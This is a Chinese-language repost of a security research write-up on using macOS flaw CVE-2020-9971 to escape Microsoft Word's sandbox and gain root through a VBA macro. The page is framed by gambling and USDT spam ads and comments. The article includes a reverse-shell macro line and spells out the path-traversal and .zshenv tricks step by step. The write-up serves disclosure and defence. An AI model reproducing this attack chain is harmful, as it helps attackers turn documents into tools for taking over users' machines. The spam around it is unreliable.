首页 科技内容详情
欧博电脑版下载(www.aLLbetgame.us):行使CVE-2020-9971绕过Microsoft Office的应用程序沙箱

欧博电脑版下载(www.aLLbetgame.us):行使CVE-2020-9971绕过Microsoft Office的应用程序沙箱

分类:科技

网址:

反馈错误: 联络客服

点击直达

Allbet电脑版下载

欢迎进入Allbet电脑版下载(www.aLLbetgame.us),欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。

,

在本文中,研究职员展示了他们若何行使已宣布的 macOS/iOS 权限提升破绽将 Word 文档武器化,排除应用程序沙箱限制并获得更高权限。

CVE-2020-9971 是 macOS/iOS 中的一个逻辑破绽,可用于稳固的提权破绽。在这篇文章中,研究职员 (@R3dF09) 提到它也可以在最受限制的应用沙箱中运行,因此研究职员决议对其举行测试并使用武器化的 Word 文档绕过 Microsoft Office 2019(适用于 Mac)应用沙箱。为了完成这个义务,研究职员不得不使用一些有趣的技巧来绕过 Apple 的文件隔离。

CVE-2020-9971位于launchd历程中,与XPC Services机制有关。这种机制提供了历程间通讯,允许开发职员确立为其应用程序执行特界说务的服务。这通常用于将应用程序拆分为更小的部门,从而提高可靠性和平安性。launchd是mac系统下通用的历程治理器,是mac系统下异常主要的一个历程,一样平常来说该历程不允许直接以下令行的形式挪用。只能通过其控制治理界面,launchctl来举行控制。launchd主要功效是历程治理。可以明白成是一个常驻在后台的历程,凭证用户的设置,来响应特定的系统事宜。launchd既可以用于系统级其余服务,又可以用于小我私人用户级其余服务。

每个历程都有自己的域,由 launchd 治理,其中包罗有关历程可用的 XPC 服务的信息。苹果声称只有拥有者历程才气修改自己的域,但该破绽的焦点破绽是能够将随便 XPC 服务添加到随便历程域中,然后触发它在该历程的上下文中运行。早先,攻击者将自制的 XPC 服务“注入”到具有 root 权限的特定历程的域中(systemsoundserverd)。开发者还使用了 XPC 服务的一个众所周知的功效来监听套接字以触发和启动它。

接下来,研究职员将形貌乐成将 Word 文档武器化并绕过 Word 应用程序沙箱的步骤。该研究是在易受 CVE-2020-9971 攻击的 macOS 10.15.4 和那时最新版本的 Microsoft Office 2019 上举行的,但这无关紧要,由于该破绽在操作系统端。

破绽行使

研究职员的第一个目的是确立一个自力的下令行破绽行使。在这个阶段,研究职员以为他们只需要删除它并从武器化的 Word 文档中执行它即可,但现真相形并非云云。无论若何,研究职员用 XCode 确立了一个应用程序,附带一个简朴的 XPC 服务,它执行以下步骤:

1.查找研究职员要使用的 root 特权历程的 PID。正如研究职员已经知道不能能在 Office 应用沙箱中执行 ps 一样,研究职员改为使用 launchctl 打印系统的输出,它显示了系统中的历程域。此时研究职员注重到systemoundserverd的历程域是在启动后延迟相当长的时间确立的,以是研究职员改用launchservicesd的历程域;

2.将研究职员的 XPC 服务注入到找到的 PID 的历程域中;

3.通过打开 TCP 套接字触发研究职员的 XPC 服务的启动;

附带的XPC服务只确立一个文件(示意乐成),并设置为在指定的TCP端口上侦听。破绽行使和 XPC 服务都存储在统一个应用程序包中,但请注重研究职员有两个差其余可执行文件。

通过这个自力的破绽行使,研究职员能够从通俗用户那里获得 root 权限,现在是时刻最先实现研究职员的最终目的了——绕过沙盒。

绕过沙盒

研究职员的最终目的是使用此破绽将 Word 文档武器化,以绕过应用程序沙箱。其基础是能够从这个Word文档中执行shell下令,这可以通过Microsoft Office中的其他破绽实现,或者更容易通过VBA宏实现,这让研究职员只剩下说服用户按下“启用宏”的事情。更多关于针对 Mac 用户的基于宏的攻击请点此https://perception-point.io/mac-isnt-safe-how-do-you-like-them-apples/查看。对于这个看法验证,研究职员将使用 VBA 宏。

在 Office 应用沙箱的上下文中获取 bash shell 很简朴,然后行使这些限制。研究职员所要做的就是侦听特定端口(例如 netcat)并从 Word 文档中执行以下 VBA 宏:

MacScript("do shell script ""bash -I >&/dev/tcp/127.0.0.1/PORT 0>&1 &""")

此时,在沙箱中有了一个shell,研究职员试图转储并执行自力破绽,但它没有奏效。经由一些研究,研究职员发现他们在沙箱中确立的每个文件都是使用“com.apple.quarantine”属性确立的,这个可以通过 xattr 适用程序考察到。

隔离属性是许多 macOS 珍爱的焦点,最初,它仅附加到从互联网下载的文件中,以执行多项平安检查(例如文件隔离、GateKeeper、Notarization 和 XProtect)。自从引入了沙箱之后,这个属性又增添了一个角色——符号从沙箱中确立的文件,并完全阻止它们被执行。以下是研究职员试图从沙箱shell中转储和执行一个文件时发生的日志:

kernel: (Sandbox) Sandbox: bash(1724) deny(1) process-exec* /Users/perceptionpoint/Library/Containers/com.microsoft.Word/Data/test
kernel: (Quarantine) exec of /Users/perceptionpoint/Library/Containers/com.microsoft.Word/Data/test denied since it was quarantined by Microsoft Word and created without user consent, qtn-flags was 0x00000086

可以看到研究职员可以执行 shell 下令,但不能转储和运行他们自己的可执行文件。对于可行使的可执行文件,研究职员有一个简朴的替换方式:只需在ctypes包的辅助下运行一个执行相同步骤的python剧本。现在研究职员就能够将 XPC 服务注入目的历程域,甚至触发它的执行,但它没有运行:XPC 服务可执行文件自己被符号为隔离属性。

欧博电脑版下载

欢迎进入博电脑版下载(www.aLLbetgame.us),欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。

现在是时刻更深入地研究XPC服务的结构了。从外部看,它看起来像一个扩展名为“xpc”的单一文件,但它现实上是一个具有典型结构的文件夹:


主要组件是 Info.plist 文件,它是一个形貌服务的 XML 文件,以及可执行文件自己(位于 MacOS 文件夹内)。 Info.plist 中的部门内容如下:

< key >CFBundleExecutable< /key >< string >AppService< /string >

研究职员不能使用他们自己的可执行文件,以是唯一的选择是使用系统现有的可执行文件之一。研究职员实验在 CFBundleExecutable 项中使用完整路径,然则 XPC 服务基本无法加载。很显著,macOS 会在目录 Contents/MacOS 中查找具有此项中指命名称的可执行文件,也许研究职员可以使用路径遍向来指向现有的可执行文件,并实验将值更改为:

< key >CFBundleExecutable< /key >< string >../../../../../../../../../usr/bin/yes< /string >

令研究职员惊讶的是,它奏效了!当研究职员使用这个“假”XPC 服务执行破绽行使时,研究职员发现了一个具有 root 权限的“是”历程,纵然研究职员是从沙箱中执行的。

因此,研究职员有能力以 root 权限运行历程,但似乎无法控制它们的参数。在团队内部就这个问题进一步咨询后,研究职员想出了一个好设施,他们注重到可以控制新历程的环境变量,即运行一个 shell 作为 XPC 服务(例如 zsh),将其 HOME 目录更改为研究职员可以控制,并将 shell 在执行最先时提供的文件放在那里(例如.zshenv)。

将它们所有封装在一起

研究职员编写了一个 python 剧本,执行以下步骤:

1.将“.zshenv”文件写入当前目录,在沙箱内,路径为 /Users/user/Library/Containers/com.microsoft.Word/Data,其中包罗研究职员希望以 root 身份执行的载荷;

2.查找研究职员要使用的 root 权限历程的 PID (launchservicesd);

3.确立“假”XPC 服务,其中可执行文件指向 zsh,并将 HOME 环境变量设置为当前目录;

4.将“假”XPC 服务注入到找到的 PID 的历程域中;

5.通过打开 TCP 套接字触发 XPC 服务的启动;

然后研究职员将该剧本封装为 base64 花样,以便从VBA宏中执行它,并将其插入到 AutoOpen 子例程中。详细演示历程请点此,其中有用载荷只在/tmp/hacked中确立一个文件(请注重,该文件是以 root 身份确立的,而且没有隔离位)。

总结

研究职员证实晰 CVE-2020-9971 可以用作沙箱逃逸破绽,以 Word 文档作为研究职员的 POC。在这个历程中,研究职员发现了一种通过 XPC 服务启动随便可执行文件的方式(在 CFBundleExecutable 值中举行路径遍历),稀奇是执行 shell 剧本(通过控制 HOME 环境变量和转储 .zshenv 文件的技巧)。

这个沙箱逃逸破绽使研究职员能够为 macOS 确立一个快速、简朴和廉价的武器化 Word 文档,这严重危害了系统平安。

平安建议

1.阻止打开生疏文档,尤其是运行来自未知泉源或你不完全信托的发送方;

2.使用能够处置此类攻击的综合性平安产物。

本文翻译自:https://perception-point.io/using-cve-2020-9971-to-escape-microsoft-offices-app-sandbox/
  • USDTOTC(www.usdt8.vip) @回复Ta

    2021-09-13 00:06:02 

    欧博客户端www.aLLbetgame.us),欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。

    考这个我能得100

    • 怎么购买USDT(www.usdt8.vip) @回复Ta

      2021-09-25 05:30:38 

      usdt自动充提www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

      比一般的好

发布评论